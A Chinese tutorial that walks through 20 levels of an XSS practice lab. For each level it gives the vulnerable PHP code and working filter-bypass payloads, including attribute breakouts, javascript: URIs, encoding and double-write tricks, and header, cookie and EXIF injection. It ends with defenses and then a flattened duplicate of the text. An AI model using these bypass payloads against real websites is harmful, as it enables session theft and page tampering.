xss挑战之旅
字数 1854 2025-08-11 17:40:05

XSS挑战之旅全面解析与实战指南

1. XSS基础概念

XSS (Cross-Site Scripting) 跨站脚本攻击是一种将恶意脚本注入到网页中的安全漏洞。攻击者通过在网页中注入恶意脚本,当其他用户浏览该网页时,脚本会在用户浏览器中执行。

2. XSS挑战关卡详解

Level 1: 无过滤基础XSS

关键代码:

ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";

漏洞分析:

  • 直接输出用户输入,没有任何过滤
  • 可以直接注入HTML和JavaScript代码

有效Payload:

<script>alert('xss')</script>
<svg/onload=alert('xss')>
<script>prompt('xss')</script>
<script>confirm('xss')</script>

Level 2: HTML实体编码绕过

关键代码:

$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center> 
<form action=level2.php method=GET> 
<input name=keyword value='".htmlspecialchars($str)."'> 
<input type=submit name=submit value=搜索 />

漏洞分析:

  • 使用htmlspecialchars()函数过滤,将特殊字符转换为HTML实体
  • 但输入被放在input标签的value属性中,需要闭合属性

有效Payload:

" onmouseover=alert(/xss/)>click
"><script>alert(/xss/)</script>
" onchange=alert`document.domain` //
" oninput=alert`document.domain` //
" onfocus=alert(document.domain) autofocus;//

Level 3: 标签过滤绕过

关键代码:

$str = $_GET["keyword"];
$str2=str_replace("<", "", $str);
$str3=str_replace(">", "", $str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> 
<form action=level3.php method=GET> 
<input name=keyword value="'.$str3.'"> 
<input type=submit name=submit value=搜索 />

漏洞分析:

  • 过滤了<>符号
  • 需要使用事件处理器而不依赖尖括号

有效Payload:

' onclick=alert(/xss/)//
' onmouseover=alert('xss')//
' oninput=alert`xss` //
' onchange=alert`xss` //

Level 4: 多重过滤绕过

关键代码:

  • 过滤了<>符号
  • 使用htmlspecialchars()函数

有效Payload:

" onfocus=alert(xss) autofocus=
" onmouseover=alert('xss')
" oninput=alert`xss`
" onchange=alert`xss`//

Level 5: 关键字过滤绕过

关键代码:

$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str=strtolower($_GET['keyword']);

漏洞分析:

  • 过滤了<scripton关键字
  • 使用strtolower()使大小写绕过失效
  • 未过滤<a>标签

有效Payload:

"><iframe src=javascript:alert(/xss/)>
"><a href="javascript:%61lert(5)">click me !!!</a>
"><a href=" javascript:alert(/xss/)

Level 6: 大小写绕过

关键代码:

  • 使用str_replace()过滤关键字
  • 未限制大小写

有效Payload:

"> <SCRIpt>alert(/xss/)</SCriPT>
"> 
"> <a HrEf="javascript:alert(/xss/)">click me!!!</a>
" ONclick=alert(/xss/) //
"><svg x="" ONclick=alert(/xss/)>

Level 7: 双写绕过

关键代码:

  • 过滤script, on, src, data, href等关键字
  • 大小写过滤失效

有效Payload:

" oonnclick=alert(/xss/)//
" oonnmouseover=alert(/xss/)//
" oonninput=alert(/xss/) "

Level 8: 编码绕过

关键代码:

  • 过滤多种关键字并替换
  • 双引号被转换为HTML实体
  • 输出在a标签的href属性中

有效Payload:

javasc&#x72;&#x69;pt:%61lert(/XSS/)
javasc&#x72;&#x69;pt:%61lert`/xss/`
javasc&#x0072;ipt:alert`/xss/`

Level 9: URL检测绕过

关键代码:

  • 类似Level 8的过滤
  • 增加URL检测,要求包含http://

有效Payload:

javascript:alert(1)//http://
javascript:%0dhttp://%0dalert(/xss/)

Level 10: 隐藏表单利用

关键代码:

  • 多个隐藏输入框
  • 尖括号被过滤

有效Payload:

keyword=test&t_sort=" type="text" onclick="alert(/xss/)
keyword=test&t_sort=" type="text" onmouseover="alert(/xss/)

Level 11: HTTP Referer头注入

关键代码:

$str11=$_SERVER['HTTP_REFERER'];

有效Payload:

Referer:" onmouseover=alert(/xss/) type="text"
Referer:" onclick="alert(/xss/)" type="text

Level 12: User-Agent头注入

关键代码:

$str11=$_SERVER['HTTP_USER_AGENT'];

有效Payload:

User-Agent:" onmouseover=alert(/xss/) type="text"
User-Agent:" onclick="alert(/xss/)" type="text

Level 13: Cookie注入

关键代码:

setcookie("user", "call me maybe?", time()+3600);

有效Payload:

Cookie: user=call+me+maybe%3F" type="text" onmouseover=alert(/xss/) type="text"
Cookie: user=call+me+maybe%3F" type="text" onclick="alert(/xss/)

Level 14: EXIF XSS

漏洞分析:

  • 通过图片的EXIF元数据注入XSS
  • 使用工具修改图片元数据

利用方法:

exiftool -Artist=' ">' brute.jpeg

Level 15: AngularJS ng-include指令利用

关键代码:

  • 使用ng-include包含外部文件
  • 可以包含Level1的漏洞页面

有效Payload:

/level15.php?src='level1.php?name=test'

Level 16: 特殊字符绕过

关键代码:

  • 过滤多种字符
  • 可以使用换行符绕过

有效Payload:

keyword=
keyword=<iframe%0dsrc=0%0donmouseover=alert`/xss/`></iframe>
keyword=<svg%0aonload=alert`/xss/`></svg>

Level 17-18: 参数注入

有效Payload:

arg01=a&arg02=%20onmouseover=alert`1`

Level 19: Flash XSS

漏洞分析:

  • 通过Flash的getURL函数利用
  • 需要构造特定标签

有效Payload:

arg01=version&arg02=<a href="javascript:alert(1)">xss</a>

Level 20: ZeroClipboard XSS

有效Payload:

arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height

3. XSS防御方法

  1. 输入验证与过滤:

    • 使用htmlspecialchars()等函数转换特殊字符
    • 白名单验证输入内容
  2. 输出编码:

    • 根据输出上下文(HTML, JavaScript, CSS, URL)进行适当编码
  3. 内容安全策略(CSP):

    • 通过HTTP头限制脚本来源
    • 示例: Content-Security-Policy: default-src 'self'
  4. HttpOnly Cookie:

    • 设置Cookie的HttpOnly属性防止通过JavaScript访问
  5. 框架安全:

    • 使用现代框架的安全功能(如React的自动转义)
    • 避免直接使用innerHTML等不安全API
  6. 正则表达式过滤:

    • 过滤<script>, on事件等危险内容

4. 总结

本教程详细解析了20个XSS挑战关卡,展示了各种XSS攻击技术和绕过方法。从基础的无过滤注入到复杂的HTTP头注入、Flash XSS等高级技术,涵盖了XSS攻击的多种场景。同时提供了相应的防御措施,帮助开发者构建更安全的Web应用。

XSS挑战之旅全面解析与实战指南 1. XSS基础概念 XSS (Cross-Site Scripting) 跨站脚本攻击是一种将恶意脚本注入到网页中的安全漏洞。攻击者通过在网页中注入恶意脚本,当其他用户浏览该网页时,脚本会在用户浏览器中执行。 2. XSS挑战关卡详解 Level 1: 无过滤基础XSS 关键代码 : 漏洞分析 : 直接输出用户输入,没有任何过滤 可以直接注入HTML和JavaScript代码 有效Payload : Level 2: HTML实体编码绕过 关键代码 : 漏洞分析 : 使用 htmlspecialchars() 函数过滤,将特殊字符转换为HTML实体 但输入被放在input标签的value属性中,需要闭合属性 有效Payload : Level 3: 标签过滤绕过 关键代码 : 漏洞分析 : 过滤了 < 和 > 符号 需要使用事件处理器而不依赖尖括号 有效Payload : Level 4: 多重过滤绕过 关键代码 : 过滤了 < 和 > 符号 使用 htmlspecialchars() 函数 有效Payload : Level 5: 关键字过滤绕过 关键代码 : 漏洞分析 : 过滤了 <script 和 on 关键字 使用 strtolower() 使大小写绕过失效 未过滤 <a> 标签 有效Payload : Level 6: 大小写绕过 关键代码 : 使用 str_replace() 过滤关键字 未限制大小写 有效Payload : Level 7: 双写绕过 关键代码 : 过滤 script , on , src , data , href 等关键字 大小写过滤失效 有效Payload : Level 8: 编码绕过 关键代码 : 过滤多种关键字并替换 双引号被转换为HTML实体 输出在a标签的href属性中 有效Payload : Level 9: URL检测绕过 关键代码 : 类似Level 8的过滤 增加URL检测,要求包含 http:// 有效Payload : Level 10: 隐藏表单利用 关键代码 : 多个隐藏输入框 尖括号被过滤 有效Payload : Level 11: HTTP Referer头注入 关键代码 : 有效Payload : Level 12: User-Agent头注入 关键代码 : 有效Payload : Level 13: Cookie注入 关键代码 : 有效Payload : Level 14: EXIF XSS 漏洞分析 : 通过图片的EXIF元数据注入XSS 使用工具修改图片元数据 利用方法 : Level 15: AngularJS ng-include指令利用 关键代码 : 使用ng-include包含外部文件 可以包含Level1的漏洞页面 有效Payload : Level 16: 特殊字符绕过 关键代码 : 过滤多种字符 可以使用换行符绕过 有效Payload : Level 17-18: 参数注入 有效Payload : Level 19: Flash XSS 漏洞分析 : 通过Flash的getURL函数利用 需要构造特定标签 有效Payload : Level 20: ZeroClipboard XSS 有效Payload : 3. XSS防御方法 输入验证与过滤 : 使用 htmlspecialchars() 等函数转换特殊字符 白名单验证输入内容 输出编码 : 根据输出上下文(HTML, JavaScript, CSS, URL)进行适当编码 内容安全策略(CSP) : 通过HTTP头限制脚本来源 示例: Content-Security-Policy: default-src 'self' HttpOnly Cookie : 设置Cookie的HttpOnly属性防止通过JavaScript访问 框架安全 : 使用现代框架的安全功能(如React的自动转义) 避免直接使用 innerHTML 等不安全API 正则表达式过滤 : 过滤 <script> , on 事件等危险内容 4. 总结 本教程详细解析了20个XSS挑战关卡,展示了各种XSS攻击技术和绕过方法。从基础的无过滤注入到复杂的HTTP头注入、Flash XSS等高级技术,涵盖了XSS攻击的多种场景。同时提供了相应的防御措施,帮助开发者构建更安全的Web应用。